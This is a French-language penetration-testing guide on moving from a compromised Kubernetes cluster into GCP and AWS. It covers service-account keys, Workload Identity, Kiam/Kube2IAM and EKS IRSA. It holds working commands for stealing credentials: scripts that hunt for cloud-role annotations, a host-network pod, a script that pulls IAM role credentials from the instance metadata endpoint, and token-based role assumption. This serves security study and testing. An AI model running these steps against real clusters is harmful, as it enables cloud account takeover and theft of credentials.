Kubernetes Pivoting to Clouds

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GCP

Si vous exécutez un cluster k8s à l'intérieur de GCP, vous voudrez probablement qu'une application s'exécutant à l'intérieur du cluster ait un certain accès à GCP. Il existe 2 façons courantes de le faire :

Monter les clés GCP-SA en tant que secret

Une façon courante de donner accès à une application Kubernetes à GCP est de :

• Créer un compte de service GCP

• Lui attribuer les autorisations souhaitées

• Télécharger une clé JSON du compte de service créé

• Le monter en tant que secret à l'intérieur du pod

• Définir la variable d'environnement GOOGLE_APPLICATION_CREDENTIALS pointant vers le chemin où se trouve le fichier JSON.

Par conséquent, en tant qu'attaquant, si vous compromettez un conteneur à l'intérieur d'un pod, vous devriez vérifier cette variable d'environnement et les fichiers JSON contenant les informations d'identification GCP.

Relier le JSON GSA au secret KSA

Une façon de donner accès à un GSA à un cluster GKE consiste à les lier de la manière suivante :

• Créez un compte de service Kubernetes dans le même espace de noms que votre cluster GKE en utilisant la commande suivante :

Copy codekubectl create serviceaccount <service-account-name>

• Créez un Secret Kubernetes qui contient les informations d'identification du compte de service GCP auquel vous souhaitez accorder l'accès au cluster GKE. Vous pouvez le faire en utilisant l'outil en ligne de commande gcloud, comme le montre l'exemple suivant :

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Liez le Secret Kubernetes au compte de service Kubernetes en utilisant la commande suivante :

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Dans la deuxième étape, les informations d'identification du GSA ont été définies comme secret du KSA. Ensuite, si vous pouvez lire ce secret depuis l'intérieur du cluster GKE, vous pouvez escalader vers ce compte de service GCP.

Identité de charge de travail GKE

Avec l'identité de charge de travail, nous pouvons configurer un compte de service Kubernetes pour agir en tant que compte de service Google. Les pods s'exécutant avec le compte de service Kubernetes s'authentifieront automatiquement en tant que compte de service Google lorsqu'ils accéderont aux API Google Cloud.

La première série d'étapes pour activer ce comportement consiste à activer l'identité de charge de travail dans GCP (étapes) et à créer le compte de service GCP que vous souhaitez que k8s impersonne.

• Activer l'identité de charge de travail sur un nouveau cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Créer/Mettre à jour un nouveau pool de nœuds (Les clusters Autopilot n'ont pas besoin de cela)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Créez le compte de service GCP à usurper depuis K8s avec les autorisations GCP :

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Connectez-vous au cluster et créez le compte de service à utiliser

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Lier le GSA avec le KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• Exécutez un pod avec le KSA et vérifiez l'accès à GSA :

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Vérifiez la commande suivante pour vous authentifier si nécessaire :

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

En tant qu'attaquant à l'intérieur de K8s, vous devriez rechercher des SAs avec l'annotation iam.gke.io/gcp-service-account car cela indique que le SA peut accéder à quelque chose dans GCP. Une autre option serait d'essayer d'exploiter chaque KSA dans le cluster et de vérifier s'il a accès. Depuis GCP, il est toujours intéressant d'énumérer les liens et de savoir quel accès vous donnez aux SAs à l'intérieur de Kubernetes.

Voici un script pour parcourir facilement toutes les définitions des pods à la recherche de cette annotation :

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Une façon (obsolète) de donner des rôles IAM aux Pods est d'utiliser un serveur Kiam ou Kube2IAM. Fondamentalement, vous devrez exécuter un daemonset dans votre cluster avec un type de rôle IAM privilégié. Ce daemonset sera celui qui donnera accès aux rôles IAM aux pods qui en ont besoin.

Tout d'abord, vous devez configurer quels rôles peuvent être accessibles à l'intérieur de l'espace de noms, et vous le faites avec une annotation à l'intérieur de l'objet de l'espace de noms:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Une fois que l'espace de noms est configuré avec les rôles IAM que les Pods peuvent avoir, vous pouvez indiquer le rôle souhaité sur chaque définition de pod avec quelque chose comme:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

En tant qu'attaquant, si vous trouvez ces annotations dans les pods ou les espaces de noms ou si un serveur kiam/kube2iam est en cours d'exécution (probablement dans kube-system), vous pouvez usurper chaque rôle déjà utilisé par les pods et plus encore (si vous avez accès au compte AWS, énumérez les rôles).

Créer un Pod avec un rôle IAM

Le rôle IAM à indiquer doit être dans le même compte AWS que le rôle kiam/kube2iam et ce rôle doit pouvoir y accéder.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Rôle IAM pour les comptes de service K8s via OIDC

Ceci est la méthode recommandée par AWS.

1. Tout d'abord, vous devez créer un fournisseur OIDC pour le cluster.

2. Ensuite, vous créez un rôle IAM avec les autorisations requises par le compte de service (SA).

3. Créez une relation de confiance entre le rôle IAM et le compte de service en utilisant le nom du compte de service (ou les espaces de noms donnant accès au rôle à tous les comptes de service du namespace). La relation de confiance vérifiera principalement le nom du fournisseur OIDC, le nom du namespace et le nom du compte de service.

4. Enfin, créez un compte de service avec une annotation indiquant l'ARN du rôle, et les pods s'exécutant avec ce compte de service auront accès au jeton du rôle. Le jeton est écrit dans un fichier dont le chemin est spécifié dans AWS_WEB_IDENTITY_TOKEN_FILE (par défaut : /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Pour obtenir aws en utilisant le jeton de /var/run/secrets/eks.amazonaws.com/serviceaccount/token, exécutez :

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

En tant qu'attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les comptes de service avec cette annotation pour escalader vers AWS. Pour ce faire, exécutez/créez simplement un pod en utilisant l'un des comptes de service privilégiés IAM et volez le jeton.

De plus, si vous êtes à l'intérieur d'un pod, vérifiez les variables d'environnement telles que AWS_ROLE_ARN et AWS_WEB_IDENTITY_TOKEN.

Parfois, la politique de confiance d'un rôle peut être mal configurée et au lieu de donner l'accès AssumeRole au compte de service attendu, elle le donne à tous les comptes de service. Par conséquent, si vous êtes capable d'écrire une annotation sur un compte de service contrôlé, vous pouvez accéder au rôle.

Consultez la page suivante pour plus d'informations:

pageAWS - Federation Abuse

Trouver des pods et des comptes de service avec des rôles IAM dans le cluster

Voici un script pour itérer facilement sur tous les pods et les définitions de comptes de service à la recherche de cette annotation :

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Rôle IAM du nœud

La section précédente traitait de la façon de voler les rôles IAM avec les pods, mais notez qu'un nœud du cluster K8s va être une instance à l'intérieur du cloud. Cela signifie que le nœud a très probablement un nouveau rôle IAM que vous pouvez voler (notez que généralement tous les nœuds d'un cluster K8s auront le même rôle IAM, il peut donc ne pas être utile de vérifier chaque nœud).

Cependant, il est important de noter qu'il y a une exigence importante pour accéder au point de terminaison des métadonnées à partir du nœud, vous devez être dans le nœud (session ssh ?) ou au moins avoir le même réseau :

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Voler le jeton de rôle IAM

Précédemment, nous avons discuté de la façon de joindre des rôles IAM aux Pods ou même de s'échapper vers le Node pour voler le rôle IAM auquel l'instance est attachée.

Vous pouvez utiliser le script suivant pour voler les nouvelles informations d'identification du rôle IAM sur lesquelles vous avez travaillé dur :

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Références

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

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